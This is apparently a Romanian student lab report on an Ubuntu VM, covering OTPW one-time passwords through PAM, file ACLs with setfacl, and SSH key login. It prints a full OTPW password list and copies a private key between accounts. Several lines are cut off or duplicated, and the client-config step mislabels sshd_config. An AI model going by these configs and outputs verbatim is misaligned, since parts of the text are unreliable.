

1. One-time passwords (OTPW)

1. Instalați pachetele "otpw-bin" și "libpam-otpw".

```
ubuntu@ubuntu-VirtualBox:~$ sudo apt-get install otpw-bin libpam-otpw
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  libpam-otpw otpw-bin
0 upgraded, 2 newly installed, 0 to remove and 98 not upgraded.
Need to get 65.7 kB of archives.
After this operation, 194 kB of additional disk space will be used.
Get:1 http://localhost:3142/ubuntu noble/universe amd64 libpam-otpw amd64 1.5-2 [28.5 kB]
Get:2 http://localhost:3142/ubuntu noble/universe amd64 otpw-bin amd64 1.5-2 [37.2 kB]
Fetched 65.7 kB in 0s (146 kB/s)
Selecting previously unselected package libpam-otpw.
(Reading database ... 209017 files and directories currently installed.)
Preparing to unpack .../libpam-otpw_1.5-2_amd64.deb ...
Unpacking libpam-otpw (1.5-2) ...
Selecting previously unselected package otpw-bin.
Preparing to unpack .../otpw-bin_1.5-2_amd64.deb ...
Unpacking otpw-bin (1.5-2) ...
Setting up otpw-bin (1.5-2) ...
Setting up libpam-otpw (1.5-2) ...
Processing triggers for man-db (2.12.0-4build2) ...
ubuntu@ubuntu-VirtualBox:~$ |
```

2. Creați un nou utilizator, numit "otpw-test".

```
ubuntu@ubuntu-VirtualBox:~$ sudo adduser otpw-test
info: Adding user `otpw-test' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `otpw-test' (1001) ...
info: Adding new user `otpw-test' (1001) with group `otpw-test (1001)' ...
info: Creating home directory `/home/otpw-test' ...
info: Copying files from `/etc/skel' ...
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: password updated successfully
Changing the user information for otpw-test
Enter the new value, or press ENTER for the default
  Full Name []: test
   Room Number []: 1
   Work Phone []: 1234
   Home Phone []: 1234
    Other []: 1234
Is the information correct? [Y/n] Y
info: Adding new user `otpw-test' to supplemental / extra groups `users' ...
info: Adding user `otpw-test' to group `users' ...
ubuntu@ubuntu-VirtualBox:~$
```

3. Intrați pe contul noului utilizator și generați pentru acesta parole valide o singură dată folosind comanda "otpw-gen".

```
ubuntu@ubuntu-VirtualBox:~$ su - otpw-test
Password:
otpw-test@ubuntu-VirtualBox:~$ otpw-gen > ~/otpw_passwords.txt
Generating random seed ...
sh: 1: netstat: not found

If your paper password list is stolen, the thief should not gain
access to your account with this information alone. Therefore, y
ou
need to memorize and enter below a prefix password. You will hav
e to
enter that each time directly before entering the one-time passw
ord
(On the same line).

When you log in, a 3-digit password number will be displayed. I
t
identifies the one-time password on your list that you have to a
ppend
to the prefix password. If another login to your account is in p
rogress
at the same time, several password numbers may be shown and all
corresponding passwords have to be appended after the prefix
password. Best generate a new password list when you have used u
p half
of the old one.

Enter new prefix password:
Reenter prefix password:

Generating new one-time passwords ...
```

```
otpw-test@ubuntu-VirtualBox:~$ cat ~/otpw_passwords.txt
OTPW list generated 2025-12-15 17:38 on ubuntu-VirtualBox

000 Tdio MxqN 056 aR:2 +LL: 112 =6Sc LuKh 168 64aQ u0+0 224 KKxf :efc
001 yxjH XvJg 057 8Dd4 umSm 113 T6kR cuxI 169 9h=c uH7h 225 Ttzm u8f9
002 uefe S92i 058 e+Fj yrnR 114 b:PP fodf 170 jx56 sW/7 226 JjQm TKYk
003 24Me uwk9 059 niZ5 /ahp 115 +PCs f4Zm 171 :viQ f90Y 227 6x/G aG4F
004 BbcY LQjf 060 IUpN +%Rj 116 WtXq ZhVh 172 s9Z9 b3UQ 228 Z:uV Fyhj
005 eq/: VAG9 061 fAmO LO/u 117 9CJx fkJE 173 Dtwu IAIv 229 BUvM 2/sI
006 o08A nsJo 062 SazI vYZs 118 cpVG X+7: 174 xaVa xW6P 230 qWPa /Ute
007 0=No QDdz 063 oS:m BL=o 119 q5L4 2r6b 175 Jm3I UPSF 231 OBnX PPRy
008 wToR oJLJ 064 =Kac +=%X 120 bC4+ WZRE 176 K4Vh uFYt 232 GcwX vNm5
009 RDg/ :96: 065 qJ5C QZMe 121 oxUF C2V8 177 zRGM HiDe 233 hBzF zDUu
010 38+E fczN 066 uRw= vahD 122 RGZE EB6w 178 Otbw mQ:M 234 J3K/ rUht
011 zyf/ cA0% 067 yqwm KnFF 123 vzDz pbvO 179 j4ti 8InZ 235 rv%S ::Zj
012 jgmN jJNH 068 dTPs OEoq 124 WZSe Ka%r 180 BBEP 2vZX 236 ePbO aU:v
013 VLY: AGOb 069 avbu PJ/G 125 ZioS ucRN 181 wH7V %JSD 237 BwBa YB%P
014 N:yX IhTb 070 t2Ye Lc20 126 aW7M ::OG 182 fdxu %vx% 238 9CE9 gF86
015 aHQ3 q68% 071 /wz/ FHDC 127 2d+T 2W:Y 183 md7i rOIs 239 82EZ YFiF
016 cOGA JRLh 072 7Uy7 MXJ8 128 nMjr 55AH 184 b9Zv t%57 240 ZXob 5IkD
017 b8n0 Q8j7 073 AZru yBaD 129 RpJK h6=R 185 %D35 4HhE 241 cM9X SKp4
018 si/g 3M8U 074 bxCu O=AQ 130 zykK nkty 186 sTVq eH2v 242 7SdY mC6=
019 7Ng9 aNXA 075 =H4s =yUE 131 OFKK Yq7A 187 %:kO 4PQW 243 kKpK uopr
020 6Nzb hKw% 076 D:kN JwLN 132 :c:r X+aZ 188 mwqr VcnJ 244 KRiH 7c2z
021 H6s3 USIr 077 pCQo uFCX 133 Obqx I6Zn 189 IKP+ U37K 245 IKy% /iEf
022 hGug oaft 078 NSGP LfJ: 134 B26z Yn9G 190 qPsY sbxO 246 wzyG xsBh
023 CX=M qtTI 079 8Xcp 4JZi 135 3Ufz ODz/ 191 Hfpp 7cVQ 247 bWWM SwY=
024 uq%8 G%D3 080 hgjS vzo= 136 SdG9 Q5dH 192 Bvgw eREL 248 p2MP yKo7
025 xVOB C4+s 081 KVOE J0dz 137 ==xC 5XEt 193 fB+w Tkog 249 k+a9 IFHm
026 kyI2 Kqz9 082 Oj8u 890d 138 pEav VIdu 194 zYGq euBV 250 fd8c 5SrQ
```

```

027 Qu+J CwA+ 083 oK/e %Uqd 139 u2rI uT83 195 3:rI cRzE 251 Tp3s MH+r
028 WwyB cCVM 084 CpMz MhGC 140 kgBt bxJC 196 3q4= CpgS 252 nWxZ IXTB
029 :B2Z YAfQ 085 H2FJ rV/i 141 BSXp t+7y 197 Be8P oUVT 253 hINb ULt5
030 rSUA tSJm 086 Y%MW puiK 142 xPq: wwzU 198 4AQA VPEF 254 M5+s HDK+
031 AN+2 h6v2 087 /k4X QBgx 143 uAEM GWVW 199 Tvft 07U= 255 6uLM KEuP
032 HErV +eaU 088 QaQL +6E: 144 %7Pj N+:k 200 K5cm /%v% 256 4yJa YeNo
033 +gtI woay 089 oIP8 wCN/ 145 r+wD I/7x 201 A+8N 3/Kw 257 VW8I UYJS
034 Ot=n Wi5b 090 /PoS n=Xb 146 uB5q txVQ 202 LItW qgPb 258 Cj:S MuQR
035 rRp/ Rv3M 091 o3NS wfhh 147 USFC BN2n 203 PHFC qSL3 259 QjRe euuK
036 cEfV DidG 092 XUUK LCeT 148 Csst xQBW 204 xAcu bwMj 260 qJGL d49s
037 qe+8 OV:L 093 FOo9 My=h 149 /WZE qg=J 205 Teyv v8%M 261 svqZ kTn%
038 vr9k km=Z 094 sANi WKtT 150 Gyo/ /qN6 206 9hKL Fj5o 262 cgk7 K6Ae
039 SSgk yH5N 095 wvsM 2mc/ 151 nM5A Hb6F 207 jVPk 2%B: 263 u3CC QqpT
040 L%9: SU6A 096 ik2b Rah= 152 fCk6 0%Aj 208 9AdX R5xx 264 eOV% 7E7i
041 r+=5 uLci 097 KcKd BV:R 153 kn5e 2VSR 209 oTcP 5yh: 265 jKKm yMab
042 h9HC +008 098 A+qL dF9v 154 A6X/ 26TO 210 jUjc U7=2 266 vUWZ iHR5
043 y+G5 Qv45 099 DL29 ebFK 155 AmGP H=UE 211 SDpS =Rc2 267 =now Uz:c
044 LTNk FBPN 100 Bd+C bZtA 156 AKSN CWDm 212 p:Z2 jhnF 268 s2/c pPMW
045 cWpQ g:W2 101 OLD+ tpL5 157 zGqC :jmw 213 gh/4 tOH0 269 QHOH xtZj
046 L3%D ZqiF 102 w8Y8 8aiU 158 b7K8 x+n3 214 dwIE NKvq 270 QSDD UG%d
047 nxWs Sxx+ 103 +Bbv wGPA 159 owZe =PAT 215 2PsG Abf% 271 6HH9 3AFF
048 P/a5 p2J/ 104 St9E CSJM 160 JCfm QW=A 216 ghE+ K7DL 272 AzH4 2=Q4
049 U=9D nKdS 105 :yCr LX7: 161 8bDE z/Ob 217 EO+S FF5G 273 ujjr vrh9
050 3GV= BR5y 106 BbyU M8zj 162 Vw3J VL6R 218 zSOZ Xb6F 274 qa%X AmWL
051 yDd= XnAm 107 n3nw KcLi 163 dEGn jB3w 219 VREu 6zFM 275 oL3d Rjcx
052 AQZC :NoH 108 bWUK %IRt 164 fxEU P+Pj 220 kUra COnC 276 %ZI2 rSqK
053 isiM xuZE 109 O3YV p%45 165 :V/N I=tu 221 fYwF Aaam 277 /I2I ek/t
054 Ahez AkTr 110 CM9e WwsV 166 kTrY /jaN 222 RKy/ qg:K 278 i2pn cvoc
055 BDjo kwJy 111 LK6K kvIz 167 tE3/ n9sr 223 h+9v AXvI 279 UMCK T%7L

```

- Modificați fișierul `/etc/pam.d/su` pentru a configura aplicația "su" să ceară autentificare prin PAM folosind OTPW. Sugestii de configurare se găsesc în fișierul de documentație `/usr/share/doc/libpam-otpw/otpw.html`.

```

GNU nano 7.2 /etc/pam.d/su
# parsing /etc/environment needs "readenv=1"
session required pam_env.so readenv=1
# locale variables are also kept into /etc/default/locale in et>
# reading this file *in addition to /etc/environment* does not >
session required pam_env.so readenv=1 envfile=/etc/defa>

# Defines the MAIL environment variable
# However, userdel also needs MAIL_DIR and MAIL_FILE variables
# in /etc/login.defs to make sure that removing a user
# also removes the user's mail spool file.
# See comments in /etc/login.defs
#
# "nopen" stands to avoid reporting new mail when su'ing to ano>
session optional pam_mail.so nopen

# Sets up user limits according to /etc/security/limits.conf
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so

# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
auth sufficient pam_rootok.so
auth sufficient pam_otpw.so|
@include common-auth
@include common-account
@include common-session

[ Wrote 63 lines ]

```

5. Incercați conectarea prin su de mai multe ori pe contul utilizatorului nou creat și observați modul în care sunt folosite parolele generate anterior.

```
ubuntu@ubuntu-VirtualBox:~$ su - otpw-test
Password 112/250/001:
otpw-test@ubuntu-VirtualBox:~$
```

2. Access Control Lists (ACL)

1. Creați (sau folosiți, dacă deja există) doi utilizatori diferiți. Fie ei "user1" și "user2".

```
ubuntu@ubuntu-VirtualBox:~$ sudo adduser user1
fatal: The user 'user1' already exists.
ubuntu@ubuntu-VirtualBox:~$ sudo adduser user2
fatal: The user 'user2' already exists.
ubuntu@ubuntu-VirtualBox:~$
```

2. Adăugați la VM un HDD nou, partiționați-l cu o partiție și formatați partiția respectiv cu EXT4. Alternativa ar fi simularea unui HDD prin rularea următoarelor comenzi (pentru un HDD de 100MB):

```
ubuntu@ubuntu-VirtualBox:/$ cd /tmp; mkdir acl; cd acl
ubuntu@ubuntu-VirtualBox:/tmp/acl$ dd if=/dev/zero of=HDD bs=1024 count=$((100*1024))
102400+0 records in
102400+0 records out
104857600 bytes (105 MB, 100 MiB) copied, 0.242379 s, 433 MB/s
ubuntu@ubuntu-VirtualBox:/tmp/acl$ sudo losetup /dev/loop7 HDD
ubuntu@ubuntu-VirtualBox:/tmp/acl$ sudo mkfs.ext4 /dev/loop7
mke2fs 1.47.0 (5-Feb-2023)
Discarding device blocks: done
Creating filesystem with 25600 4k blocks and 25600 inodes

Allocating group tables: done
Writing inode tables: done
Creating journal (1024 blocks): done
Writing superblocks and filesystem accounting information: done

ubuntu@ubuntu-VirtualBox:/tmp/acl$ mkdir mnt
ubuntu@ubuntu-VirtualBox:/tmp/acl$ sudo mount -O acl /dev/loop7 mnt
ubuntu@ubuntu-VirtualBox:/tmp/acl$ cd mnt
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$
```

3. Ca "user1" creați fișierele "test1" și "test2".

```
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo su - user1
user1@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ touch test1 test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ ls
lost+found  test1  test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$
```

4. Setați pentru cele două fișiere drepturi doar pentru proprietar:

```
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ chmod 0600 test*
user1@ubuntu-VirtualBox:/tmp/acl/mnt$
```

5. Vizualizați permisiunile lui curente executând comenzile:

```
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ ls -l test1
-rw----- 1 user1 user1 0 Dec 15 18:09 test1
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ ls -l test2
-rw----- 1 user1 user1 0 Dec 15 18:09 test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ getfacl test1
# file: test1
# owner: user1
# group: user1
user::rw-
group:---
other:---

user1@ubuntu-VirtualBox:/tmp/acl/mnt$ getfacl test2
# file: test2
# owner: user1
# group: user1
user::rw-
group:---
other:---

user1@ubuntu-VirtualBox:/tmp/acl/mnt$
```

6. Adăugați drepturi explicite pe fișierul "test" pentru utilizatorul "user2":

```
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m u:user2:rw test1
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m u:user2:rw test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ getfacl test1
# file: test1
# owner: user1
# group: user1
user::rw-
user:user2:rw-
group:---
mask:rw-
other:---

user1@ubuntu-VirtualBox:/tmp/acl/mnt$ getfacl test2
# file: test2
# owner: user1
# group: user1
user::rw-
user:user2:rw-
group:---
mask:rw-
other:---

user1@ubuntu-VirtualBox:/tmp/acl/mnt$ |
```

7. Verificați de pe "user2" accesul la fișierele "test1" și "test2", atât la citire, cât și la scriere.

```
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ su - user2
Password:
user2@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test1
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ echo "test1" > test1
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test1
test1
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test2
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ echo "test2" > test2
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test2
test2
user2@ubuntu-VirtualBox:/tmp/acl/mnt$
```

8. Modificați pentru fișierul "test1" masca de acces astfel:

```
setfacl -m m::r test1
```

```
user1@ubuntu-VirtualBox:~$ setfacl -m m::r test1
setfacl: test1: No such file or directory
user1@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m m::r test1
user1@ubuntu-VirtualBox:/tmp/acl/mnt$
```

9. Verificați de pe "user2" accesul la fișierul "test1" pentru scriere.

```
user2@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ echo "alt test1" > test1
-bash: test1: Permission denied
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test1
test1
user2@ubuntu-VirtualBox:/tmp/acl/mnt$
```

10. *Problemă.* Să se configureze folosind doar comanda "setfacl" permisuiunile de acces pentru fișierul "test2" astfel încât oricine să aibă acces pentru citire, iar utilizatorii "user1" și "user2" (considerați printr-un grup nou creat) să aibă acces și în scriere. Să se seteze explicit și masca de acces.

```
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo groupadd editoritest
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo usermod -aG editoritest user1
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo usermod -aG editoritest user2
ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo su - user1
user1@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m u::rw test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m g:editoritest:rw test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m o::r test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ setfacl -m m::rw test2
user1@ubuntu-VirtualBox:/tmp/acl/mnt$ getfacl test2
# file: test2
# owner: user1
# group: user1
user::rw-
user:user2:rw-
group:---
group:editoritest:rw-
mask::rw-
other::r--
```

```

ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo su - user2
user2@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test2
test2
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ echo "scris de user2" >> test2
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test2
test2
scris de user2
user2@ubuntu-VirtualBox:/tmp/acl/mnt$ |

```

```

ubuntu@ubuntu-VirtualBox:/tmp/acl/mnt$ sudo su - otpw-test
otpw-test@ubuntu-VirtualBox:~$ cd /tmp/acl/mnt
otpw-test@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test2
test2
scris de user2
otpw-test@ubuntu-VirtualBox:/tmp/acl/mnt$ echo "test" >> test2
-bash: test2: Permission denied
otpw-test@ubuntu-VirtualBox:/tmp/acl/mnt$ cat test2
test2
scris de user2
otpw-test@ubuntu-VirtualBox:/tmp/acl/mnt$

```

3. Conectarea prin SSH

1. Instalați pachetele openssh-server pentru serverul SSH, respectiv openssh-client pentru clientul de SSH. Eventual verificați mai întâi dacă nu sunt deja instalate.

```

ubuntu@ubuntu-VirtualBox:~$ dpkg -l | grep openssh
ii  openssh-client      1:9.6p1-3ubuntu13.14      amd64      secure shell (SSH) client, for secure access to remote machines
ii  openssh-server      1:9.6p1-3ubuntu13.14      amd64      secure shell (SSH) server, for secure access from remote machines
ii  openssh-sftp-server 1:9.6p1-3ubuntu13.14      amd64      secure shell (SSH) sftp server module, for SFTP access from remote machines
ubuntu@ubuntu-VirtualBox:~$

```

2. Afișați conținutul pachetelor openssh-server și openssh-client, urmărind fișierele executabile și de configurare:

```
ubuntu@ubuntu-VirtualBox:~$ dpkg -L openssh-server | grep -E '(bin|config)'  
/etc/ssh/sshd_config.d  
/usr/sbin  
/usr/sbin/sshd  
/usr/share/man/man5/sshd_config.5.gz  
/usr/share/openssh/sshd_config  
/usr/share/openssh/sshd_config.md5sum  
ubuntu@ubuntu-VirtualBox:~$ dpkg -L openssh-client | grep -E '(bin|config)'  
/etc/ssh/ssh_config  
/etc/ssh/ssh_config.d  
/usr/bin  
/usr/bin/scp  
/usr/bin/sftp  
/usr/bin/ssh  
/usr/bin/ssh-add  
/usr/bin/ssh-agent  
/usr/bin/ssh-argv0  
/usr/bin/ssh-copy-id  
/usr/bin/ssh-keygen  
/usr/bin/ssh-keyscan  
/usr/share/man/man5/ssh_config.5.gz  
/usr/bin/slogin  
ubuntu@ubuntu-VirtualBox:~$
```

3. Fișierul de configurare pentru server-ul SSH este "/etc/ssh/sshd_config". Să se studieze puțin conținutul fișierului respectiv, observând opțiuni precum:
1. port oferire serviciu, blocare conectare root, fără parolă, blocare conectare cu parolă (doar cu chei) etc.

```

GNU nano 7.2 /etc/ssh/sshd_config *
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
sudo nano /etc/ssh/sshd_config#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_k

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
sudo nano /etc/ssh/sshd_config#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication no

```

4. Fișierul de configurare pentru client-ul SSH este "/etc/ssh/sshd_config". Să se studieze puțin conținutul fișierului respectiv, observând opțiuni precum:
 1. port conectare, forward-are fereștre grafice (ForwardX11) etc.

```
GNU nano 7.2 /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file.
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin

# The strategy used for options in the default sshd_config
# OpenSSH is to specify options with their default value when
# possible, but leave them commented. Uncommented options
# override the default value.

Include /etc/ssh/sshd_config.d/*.conf

# When systemd socket activation is used (the default), the
# configuration must be re-generated after changing Port, A
# ListenAddress.
#
# For changes to take effect, run:
#
#   systemctl daemon-reload
#   systemctl restart ssh.socket
#
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
```

```
GNU nano 7.2 /etc/ssh/sshd_config
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
```

5. Conectarea prin chei publice/private fără parolă.

1. Să se creeze un cont de test "ssh-user".

```
ubuntu@ubuntu-VirtualBox:~$ sudo adduser ssh-user
info: Adding user `ssh-user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ssh-user' (1005) ...
info: Adding new user `ssh-user' (1005) with group `ssh-user (1005)' ...
info: Creating home directory `/home/ssh-user' ...
info: Copying files from `/etc/skel' ...
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: password updated successfully
Changing the user information for ssh-user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] Y
info: Adding new user `ssh-user' to supplemental / extra group `users' ...
info: Adding user `ssh-user' to group `users' ...
ubuntu@ubuntu-VirtualBox:~$
```

2. Să se logheze pe contul "ssh-user".

```
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost
ssh-user@localhost's password:
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

54 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The programs included with the Ubuntu system are free software; the
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ssh-user@ubuntu-VirtualBox:~$
```

3. Conectarea pe bază de parolă.

1. Să se deschidă o conexiune ssh pe contul ssh-user. Aceasta va cere parola utilizatorului "ssh-user".

```
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost
ssh-user@localhost's password:
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-34-generic
4)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not ena
54 updates can be applied immediately.
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he
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent
d by
applicable law.

ssh-user@ubuntu-VirtualBox:~$
```

2. Să se iasă din conexiunea respectivă.

```
ssh-user@ubuntu-VirtualBox:~$ whoami
ssh-user
ssh-user@ubuntu-VirtualBox:~$ hostname
ubuntu-VirtualBox
ssh-user@ubuntu-VirtualBox:~$ exit
logout
Connection to localhost closed.
ubuntu@ubuntu-VirtualBox:~$ |
```

4. Conectarea pe bază de cheie publică/privată.

1. Să se creeze o pereche de chei privată/publică folosind comanda `ssh-keygen`, fără a se specifica vreo parolă.

```
ubuntu@ubuntu-VirtualBox:~$ sudo su - ssh-user
[sudo] password for ubuntu:
ssh-user@ubuntu-VirtualBox:~$ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ssh-user/.ssh/
: /home/ssh-user/.ssh/id_rsa
Created directory '/home/ssh-user/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ssh-user/.ssh
Your public key has been saved in /home/ssh-user/.ssh/id_
The key fingerprint is:
SHA256:duJGZxfRMBTvCGA1EZEjUizUaxx5Vo0JF+p7I1VnpgU ssh-us
tu-VirtualBox
The key's randomart image is:
+---[RSA 4096]-----+
|      ..++oBOXOE      |
|      o.*.=+o+o.      |
|      + *o.. o =      |
|      +. . = *        |
|      .S = + o        |
|      + = +          |
|      o o o          |
|      .  o .          |
|                      |
+----[SHA256]-----+
```

2. Să se verifice seteze/permisiunile pentru directorul `.ssh`, respectiv pentru cheia privată, a.î. pentru ambele să existe permisiuni doar pentru proprietar.

```

ssh-user@ubuntu-VirtualBox:~$ chmod 700 ~/.ssh
ssh-user@ubuntu-VirtualBox:~$ ll
total 60
drwxr-x--- 6 ssh-user ssh-user 4096 Dec 15 20:18 ./
drwxr-xr-x 7 root      root      20480 Dec 15 19:57 ../
-rw----- 1 ssh-user ssh-user   21 Dec 15 20:01 .bashrc
-rw-r--r-- 1 ssh-user ssh-user  220 Dec 15 19:57 .bash_profile
-rw-r--r-- 1 ssh-user ssh-user 3771 Dec 15 19:57 .bashrc
drwx----- 2 ssh-user ssh-user 4096 Dec 15 20:00 .cache
drwx----- 3 ssh-user ssh-user 4096 Dec 15 20:00 .local
-rw-r--r-- 1 ssh-user ssh-user  807 Dec 15 19:57 .profile
drwx----- 3 ssh-user ssh-user 4096 Dec 15 20:00 snap/
drwx----- 2 ssh-user ssh-user 4096 Dec 15 20:18 .ssh/
ssh-user@ubuntu-VirtualBox:~$ chmod 600 ~/.ssh/id_rsa
ssh-user@ubuntu-VirtualBox:~$ ll ~/.ssh/
total 16
drwx----- 2 ssh-user ssh-user 4096 Dec 15 20:18 ./
drwxr-x--- 6 ssh-user ssh-user 4096 Dec 15 20:18 ../
-rw----- 1 ssh-user ssh-user 3434 Dec 15 20:18 id_rsa
-rw-r--r-- 1 ssh-user ssh-user  752 Dec 15 20:18 id_rsa.pub
ssh-user@ubuntu-VirtualBox:~$ |

```

3. Să se copieze (adauge) cheia publică generată (implicit ".ssh/id_rsa.pub") în fișierul ".ssh/authorized_keys":
 cd .ssh; cat id_rsa.pub authorized_keys; chmod og-w authorized_keys

```

ssh-user@ubuntu-VirtualBox:~$ cd ~/.ssh
ssh-user@ubuntu-VirtualBox:~/.ssh$ cat id_rsa.pub >> authorized_keys
ssh-user@ubuntu-VirtualBox:~/.ssh$ chmod 600 authorized_keys
ssh-user@ubuntu-VirtualBox:~/.ssh$

```

4. Să se deschidă o conexiune ssh pe contul ssh-user. Aceasta nu va mai cere parola, ci va folosi cheia privată pentru verificarea identității descrise prin cheia publică din fișierul ".ssh/authorized_keys" a contului pe care se face conectarea.

```
ubuntu@ubuntu-VirtualBox:~$ mkdir -p ~/.ssh
ubuntu@ubuntu-VirtualBox:~$ chmod 700 ~/.ssh
ubuntu@ubuntu-VirtualBox:~$ sudo cp /home/ssh-user/.ssh/
/.ssh/
ubuntu@ubuntu-VirtualBox:~$ sudo cp /home/ssh-user/.ssh/
ub ~/.ssh/
ubuntu@ubuntu-VirtualBox:~$ sudo chown ubuntu:ubuntu ~/.
sa ~/.ssh/id_rsa.pub
ubuntu@ubuntu-VirtualBox:~$ chmod 600 ~/.ssh/id_rsa
ubuntu@ubuntu-VirtualBox:~$ chmod 644 ~/.ssh/id_rsa.pub
ubuntu@ubuntu-VirtualBox:~$ ls -la ~/.ssh/
total 24
drwx----- 2 ubuntu ubuntu 4096 Dec 15 20:43 .
drwxr-x--- 19 ubuntu ubuntu 4096 Dec 15 19:45 ..
-rw----- 1 ubuntu ubuntu 0 Sep 30 09:34 authorized
-rw----- 1 ubuntu ubuntu 3434 Dec 15 20:43 id_rsa
-rw-r--r-- 1 ubuntu ubuntu 752 Dec 15 20:43 id_rsa.pub
-rw----- 1 ubuntu ubuntu 1262 Oct 1 15:10 known_host
-rw-r--r-- 1 ubuntu ubuntu 426 Oct 1 15:10 known_host
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-34-gener
4)

